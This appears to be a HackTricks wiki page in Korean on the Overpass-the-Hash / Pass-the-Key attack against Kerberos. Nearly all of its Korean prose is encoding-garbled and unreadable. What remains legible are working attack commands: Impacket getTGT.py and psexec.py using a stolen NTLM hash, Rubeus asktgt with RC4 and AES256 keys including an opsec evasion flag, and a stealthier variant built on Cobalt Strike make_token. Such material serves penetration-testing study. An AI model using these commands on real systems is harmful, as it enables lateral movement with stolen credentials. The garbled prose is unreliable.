Over Pass the Hash/Pass the Key
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Overpass The Hash/Pass The Key (PTK)
Overpass The Hash/Pass The Key (PTK) ๊ณต๊ฒฉ์ ์ ํต์ ์ธ NTLM ํ๋กํ ์ฝ์ด ์ ํ๋๊ณ Kerberos ์ธ์ฆ์ด ์ฐ์ ์๋๋ ํ๊ฒฝ์ ์ํด ์ค๊ณ๋์์ต๋๋ค. ์ด ๊ณต๊ฒฉ์ ์ฌ์ฉ์์ NTLM ํด์ ๋๋ AES ํค๋ฅผ ํ์ฉํ์ฌ Kerberos ํฐ์ผ์ ์์ฒญํจ์ผ๋ก์จ ๋คํธ์ํฌ ๋ด์ ๋ฆฌ์์ค์ ๋ํ ๋ฌด๋จ ์ ๊ทผ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
์ด ๊ณต๊ฒฉ์ ์คํํ๊ธฐ ์ํ ์ฒซ ๋ฒ์งธ ๋จ๊ณ๋ ๋์ ์ฌ์ฉ์์ ๊ณ์ ์ NTLM ํด์ ๋๋ ๋น๋ฐ๋ฒํธ๋ฅผ ํ๋ํ๋ ๊ฒ์ ๋๋ค. ์ด ์ ๋ณด๋ฅผ ํ๋ณดํ ํ, ํด๋น ๊ณ์ ์ ๋ํ ํฐ์ผ ๋ถ์ฌ ํฐ์ผ(TGT)์ ์ป์ ์ ์์ผ๋ฉฐ, ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์๊ฐ ๊ถํ์ ๊ฐ์ง ์๋น์ค๋ ๋จธ์ ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ด ํ๋ก์ธ์ค๋ ๋ค์ ๋ช ๋ น์ด๋ก ์์ํ ์ ์์ต๋๋ค:
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
AES256์ด ํ์ํ ์๋๋ฆฌ์ค์์๋ -aesKey [AES key] ์ต์
์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ํ, ํ๋ํ ํฐ์ผ์ smbexec.py ๋๋ wmiexec.py์ ๊ฐ์ ๋ค์ํ ๋๊ตฌ์ ํจ๊ป ์ฌ์ฉ๋ ์ ์์ด ๊ณต๊ฒฉ์ ๋ฒ์๋ฅผ ๋ํ๋๋ค.
PyAsn1Error ๋๋ _KDC cannot find the name_๊ณผ ๊ฐ์ ๋ฌธ์ ๋ ์ผ๋ฐ์ ์ผ๋ก Impacket ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ ๋ฐ์ดํธํ๊ฑฐ๋ IP ์ฃผ์ ๋์ ํธ์คํธ ์ด๋ฆ์ ์ฌ์ฉํ์ฌ ํด๊ฒฐ๋๋ฉฐ, Kerberos KDC์์ ํธํ์ฑ์ ๋ณด์ฅํฉ๋๋ค.
Rubeus.exe๋ฅผ ์ฌ์ฉํ๋ ๋์ฒด ๋ช ๋ น ์ํ์ค๋ ์ด ๊ธฐ์ ์ ๋ ๋ค๋ฅธ ์ธก๋ฉด์ ๋ณด์ฌ์ค๋๋ค:
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
์ด ๋ฐฉ๋ฒ์ Pass the Key ์ ๊ทผ ๋ฐฉ์์ ๋ฐ์ํ๋ฉฐ, ์ธ์ฆ ๋ชฉ์ ์ผ๋ก ํฐ์ผ์ ์ง์ ์ฅ์
ํ๊ณ ํ์ฉํ๋ ๋ฐ ์ค์ ์ ๋ก๋๋ค. TGT ์์ฒญ์ ์์์ ์ด๋ฒคํธ 4768: A Kerberos authentication ticket (TGT) was requested๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ฉฐ, ์ด๋ ๊ธฐ๋ณธ์ ์ผ๋ก RC4-HMAC ์ฌ์ฉ์ ๋ํ๋ด์ง๋ง, ์ต์ Windows ์์คํ
์ AES256์ ์ ํธํฉ๋๋ค.
์ด์ ๋ณด์์ ๋ถํฉํ๊ณ AES256์ ์ฌ์ฉํ๊ธฐ ์ํด ๋ค์ ๋ช ๋ น์ ์ ์ฉํ ์ ์์ต๋๋ค:
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
Stealthier version
Warning
๊ฐ ๋ก๊ทธ์จ ์ธ์ ์ ํ ๋ฒ์ ํ๋์ ํ์ฑ TGT๋ง ๊ฐ์ง ์ ์์ผ๋ฏ๋ก ์ฃผ์ํ์ธ์.
- Cobalt Strike์ **
make_token**์ ์ฌ์ฉํ์ฌ ์๋ก์ด ๋ก๊ทธ์จ ์ธ์ ์ ๋ง๋ญ๋๋ค. - ๊ทธ๋ฐ ๋ค์, Rubeus๋ฅผ ์ฌ์ฉํ์ฌ ๊ธฐ์กด ์ธ์ ์ ์ํฅ์ ์ฃผ์ง ์๊ณ ์๋ก์ด ๋ก๊ทธ์จ ์ธ์ ์ ๋ํ TGT๋ฅผ ์์ฑํฉ๋๋ค.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


